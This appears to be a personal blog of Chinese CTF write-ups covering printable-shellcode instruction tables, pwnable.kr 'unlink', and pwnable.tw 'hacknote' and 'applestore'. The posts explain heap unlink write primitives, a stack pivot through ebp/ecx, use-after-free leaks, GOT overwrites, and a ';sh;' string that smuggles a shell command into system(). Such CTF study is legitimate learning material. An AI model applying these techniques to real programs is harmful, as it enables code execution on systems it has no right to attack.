然后我就发现s[i] = 0x8f,0xf7等等都是无法满足这个条件的,然后去一查:这个cmp是有符号数的compare,所以al=(1XXXXXXX)b都是负数。。。那么自然是小于0x1F的,所以我们可以使用shellcode字符只有 0x20 < s[i] < 0x7E,另外就是这题限制了shellcode的长度。无奈汇编能力只能看看代码,而且接触机器码又是少之又少的,所以这个题目搁置了好久。跑去打pwnable.kr,然而今天kr访问不上去了~又拾起此题。

在网上找到这位仁兄的整理:pzhxbz的博客

首先整理一下在可打印范围内能用的汇编指令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
1.数据传送:
push/pop eax…
pusha/popa
2.算术运算:
inc/dec eax…
sub al, 立即数
sub byte ptr [eax… + 立即数], al dl…
sub byte ptr [eax… + 立即数], ah dh…
sub dword ptr [eax… + 立即数], esi edi
sub word ptr [eax… + 立即数], si di
sub al dl…, byte ptr [eax… + 立即数]
sub ah dh…, byte ptr [eax… + 立即数]
sub esi edi, dword ptr [eax… + 立即数]
sub si di, word ptr [eax… + 立即数]
3.逻辑运算:
and al, 立即数
and dword ptr [eax… + 立即数], esi edi
and word ptr [eax… + 立即数], si di
and ah dh…, byte ptr [ecx edx… + 立即数]
and esi edi, dword ptr [eax… + 立即数]
and si di, word ptr [eax… + 立即数]
xor al, 立即数
xor byte ptr [eax… + 立即数], al dl…
xor byte ptr [eax… + 立即数], ah dh…
xor dword ptr [eax… + 立即数], esi edi
xor word ptr [eax… + 立即数], si di
xor al dl…, byte ptr [eax… + 立即数]
xor ah dh…, byte ptr [eax… + 立即数]
xor esi edi, dword ptr [eax… + 立即数]
xor si di, word ptr [eax… + 立即数]
4.比较指令:
cmp al, 立即数
cmp byte ptr [eax… + 立即数], al dl…
cmp byte ptr [eax… + 立即数], ah dh…
cmp dword ptr [eax… + 立即数], esi edi
cmp word ptr [eax… + 立即数], si di
cmp al dl…, byte ptr [eax… + 立即数]
cmp ah dh…, byte ptr [eax… + 立即数]
cmp esi edi, dword ptr [eax… + 立即数]
cmp si di, word ptr [eax… + 立即数]
5.转移指令:
push 56h
pop eax
cmp al, 43h
jnz lable
<=> jmp lable
6.交换al, ah
push eax
xor ah, byte ptr [esp] // ah ^= al
xor byte ptr [esp], ah // al ^= ah
xor ah, byte ptr [esp] // ah ^= al
pop eax
7.清零:
push 44h
pop eax
sub al, 44h ; eax = 0
push esi
push esp
pop eax
xor [eax], esi ; esi = 0

我自己也找到了一份asm转machine-code 的资料
然而太多太杂,一时间看不完而且不好找。

pwnable_kr_0

发表于 2017-08-03

unlink

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
typedef struct tagOBJ{
struct tagOBJ* fd;
struct tagOBJ* bk;
char buf[8];
}OBJ;
void shell(){
system("/bin/sh");
}
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}
int main(int argc, char* argv[]){
malloc(1024);
OBJ* A = (OBJ*)malloc(sizeof(OBJ));
OBJ* B = (OBJ*)malloc(sizeof(OBJ));
OBJ* C = (OBJ*)malloc(sizeof(OBJ));
// double linked list: A <-> B <-> C
A->fd = B;
B->bk = A;
B->fd = C;
C->bk = B;
printf("here is stack address leak: %p\n", &A);
printf("here is heap address leak: %p\n", A);
printf("now that you have leaks, get shell!\n");
// heap overflow!
gets(A->buf);
// exploit this unlink!
unlink(B);
return 0;
}

0x01

这题是比较经典的链表unlink题目,其中unlink的代码如下:

1
2
3
4
5
6
7
8
void unlink(OBJ* P){
OBJ* BK;
OBJ* FD;
BK=P->bk;
FD=P->fd;
FD->bk=BK;
BK->fd=FD;
}

之前我们学到的malloc中的bin在删除链表节点时有很多限制,比如会比较FD->bk == BK->fd之类的检查,这里的unlink只需要FD->bk,BK->fd指向的地址是可写的。

0x02 leak

题目帮忙leak好了 &A 和 A 的地址~

0x3 思路

我的想法是通过leak的A_addr算好main的ret_addr,然后把void shell的地址存入‘栈’中即可。不过此‘栈’非彼‘栈’,这里需要使用一个技巧,就是我们是无法向栈里面写入shell_addr的,因为unlink时要求写入的地址所指向的内存是可写的,但是shell_addr明显是text段,是readonly的,所以是无法通过unlink将shell_addr写入栈中的;但是转变思路,既然我们无法向栈中写入shellcode,那么我们能不能改变栈的位置呢?比如把ebp指向特定位置,使得栈的位置发生改变,那么相对来说,就是将shellcode写到了栈中去了。

0x4 exploit

查看汇编代码

1
2
3
4
5
6
7
8
9
10
11
12
13
0x08048555 <+38>: call 0x80483a0 <malloc@plt>
0x0804855a <+43>: add esp,0x10
0x0804855d <+46>: mov DWORD PTR [ebp-0x14],eax //A
0x08048560 <+49>: sub esp,0xc
0x08048563 <+52>: push 0x10
0x08048565 <+54>: call 0x80483a0 <malloc@plt>
0x0804856a <+59>: add esp,0x10
0x0804856d <+62>: mov DWORD PTR [ebp-0xc],eax //B
0x08048570 <+65>: sub esp,0xc
0x08048573 <+68>: push 0x10
0x08048575 <+70>: call 0x80483a0 <malloc@plt>
0x0804857a <+75>: add esp,0x10
0x0804857d <+78>: mov DWORD PTR [ebp-0x10],eax //C

可以发现&A=ebp-0x14,根据leak出来的地址,我们可以得到:ebp = &A+0x14。这样我们就可以构造我们的playload了。

这里有一个关键的东西就是,还是要根据具体程序的代码来选择漏洞利用方式,不同于前面applestore,这里的在leave 之后,程序就要退出了,没有多层的调用,所以ebp不能再次使用,无法改变变量或者栈中其他的值。

但是,这是一个题目嘛,总会有解决办法的。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
0x80485ff <main+208>: mov ecx,DWORD PTR [ebp-0x4]
=> 0x8048602 <main+211>: leave
0x8048603 <main+212>: lea esp,[ecx-0x4]
0x8048606 <main+215>: ret
________stack________________
gdb-peda$ tele 20
0000| 0xffe69210 --> 0x1
0004| 0xffe69214 --> 0x8643410 --> 0x8643440 --> 0x0
0008| 0xffe69218 --> 0x8643440 --> 0x0
0012| 0xffe6921c --> 0x8643428 --> 0x8643440 --> 0x0
0016| 0xffe69220 --> 0xf77813dc --> 0xf77821e0 --> 0x0
0020| 0xffe69224 --> 0xffe69240 --> 0x1
0024| 0xffe69228 --> 0x0
0028| 0xffe6922c --> 0xf75e6276 (<__libc_start_main+246>: add esp,0x10)
0032| 0xffe69230 --> 0x1
0036| 0xffe69234 --> 0xf7781000 --> 0x1b2db0
0040| 0xffe69238 --> 0x0
0044| 0xffe6923c --> 0xf75e6276 (<__libc_start_main+246>: add esp,0x10)
_______________________
EAX: 0x0
EBX: 0x0
ECX: 0xffe69240 --> 0x1
EDX: 0x8643440 --> 0x0
ESI: 0x1
EDI: 0xf7781000 --> 0x1b2db0
EBP: 0xffe69228 --> 0x0
ESP: 0xffe69210 --> 0x1
EIP: 0x8048602 (<main+211>: leave)

我们查看main函数最后几行汇编代码,结合动态调试,我们发现 ecx = [ebp-0x4],然后后面esp=[ecx-0x4],这样我们控制ebp+0x4这里的内存就可以控制ecx的值,然后控制esp,从而在ret时返回到我们的shellcode上。

playload的构造
chunk

注意:

  1. unlink修改的内存是FD->bk和BK->fd,也就是FD+4和BK+0,这里有一定的偏移。

  2. 注意栈的方向是和正常内存不一样的,所以esp的设置应该大于返回地址。

0x05

exp

pwnable_tw(0)

发表于 2017-08-02

hacknote

0x01

这个题目做了好久,期间学习了malloc、chunk、free的知识。

这题是一个UAF漏洞,关键有三个:

  1. 怎么利用野指针

  2. 怎么leak

  3. 怎么在system的参数不是’/bin/sh’时利用漏洞

0x02

刚开始学了doublefree,就在想能不能用doublefree, 但是问题在于就算获得了一个任意写的指针,由于程序的限制 (chunk只能在创建时,写入数据,且chunk创建数量有限), 导致我们无法向任意可写的指针中修改数据。那么doublefree的使用是不成功的

0x03 leak

1
a. add_note(16);add_note(16) #index 0 , 1

mem after malloc

1
b. del_note(0);del_note(1)

由于chunk块都小于64B,所以free后链接到fast bins

mem after free

1
c. add_note(8) = malloc(8)->#2ptr + malloc(8)->#content ####index 2####

由于malloc的chunk大小为2B<64B所以先到fast bins 找空闲的chunk, 显然刚好有两个,那么先使用chunk0,再使用chunk2, 而chunk2就是index1的2ptr_chunk,当我们向其中写入print_ptr、read_got_addr, 然后使用print_note(1)就可以泄漏read的地址了。

0x04 setchunk

继续使用这个野指针

1
a. del_note(2); add_note(8) #index 3#

content=system_addr+”;sh;”

由于下一步print使用的函数是 (*system_addr)(system_addr) 传入的参数是system_addr 而不是’/bin/sh’ 所以我们要用’;’截断前一个命令,然后顺利执行到’sh’

1
b. print_note(3) ##system('????;sh;')

applestore

0x01

这个题目前面做的都很顺利,地址泄露,以及写地址漏洞都找到了,然而找到的写地址漏洞要求被写入的地址处的内存也是可写的,这样就很难把system的地址写到指定GOT,然后使用ret2lib,这个想法破灭后,我想了另一个办法:在栈上面构造rop链,先return到read,然后通过read向栈写入任意内容,但是又失败了,因为return到plt.read才是可以执行的指令,而return到got.read是不可行的,因为got中只是存储read的地址,而地址不能作为指令执行,plt又是不可写的,所以就很难完成。无奈又求助谷歌,找到了一片文章:applestore_writeup。 发现一种厉害的操作,就是通过修改存储在栈中的ebp,使得栈返回上层函数后,将栈底返回给ebp寄存器,这样就使得栈的位置发生改变了,同样栈上局部变量的地址也发生了改变,这样我们使栈的地址改变到got上,然后向变量写东西就可以改变GOT的内容。但是最好在修改时修改下一个要执行的lib函数的GOT地址,如果修改后中间有很多其他函数执行,会导致GOT的混乱(因为栈在这里),出现错误,程序提前退出。

0x02

了解程序的功能后,发现了一个很有趣的地方:在checkout()中,有一个总价刚好为7174元就可以加一元换购iphone8的活动,那么我们就凑单凑到7174:16台199、10台399,刚好7174(解方程想了一会。。。),那么就可以换购了,美滋滋~。~然而,却发现了一个惊天大秘密,那就是这块程序把栈中的数据当作堆链入了链表。

程序使用双链表储存购物清单:

链表结构

pre_ptr就是指向前一个节点的地址。

然后我就想着leak地址,这时就发现,打印账单时,会printf(‘%s….’,ptr2str,…),而最后一个ptr2str27 在栈上,我们可以考虑取覆盖这个位置的指针值,恰好打印账单有一个确认的过程,这里就可以覆盖ptr2str27 处,将这个位置覆盖成got.read的地址,这样就可以读出read的地址了,从而泄漏libc的基址。两种想法失败 后,看到那个writeup我脑袋就点通了一下,我还想搞的是leak栈地址,但是我们next_ptr26在malloc的的chunk 里面,要从第一个慢慢读下去感觉很麻烦(其实也ok啦,只是刚开始没想到<..>),所以我的想法是delete商品, 从把26-1都给delete掉,然后就只剩一个0和27了,这样&myCart+8 里面存的就是item27的地址,也就是我们需要 需要leak的栈地址。

0x03

leak出地址后,把之前学的方法都想了一遍试了一遍,感觉无法exploit,想要写入的地址都是不可写的,看了别 人的writeup后,发现改变ebp这种操作都可以的。说了这么多,任意地址可写的漏洞在哪呢?这里我们就应该对 双链表的删除节点操作有比较好的敏感性(之前看的double free),由于栈上面的item是任意可写的,我们利用 这个双链表的删除过程,将需要写入的地址放到,该item的前向后向指针上,这样delete node时就可以将两个地址 互相写入一个地址,所以这里要求两个地址都是可写的。

0x04

这题的精彩之处在于,可以将栈里面的ebp覆盖,函数返回后就可以覆盖寄存器ebp,然后将栈的位置移动,栈上 变量地址改变,从而在想要写入的地址写入需要的内容,比如在GOT.atoi上写入system的地址。另外就是之前一题的 命令行截断使用’;’,所以最后call的是system(‘??;sh’)。

YEL

YEL

8 日志
© 2017 YEL
由 Hexo 强力驱动
主题 - NexT.Muse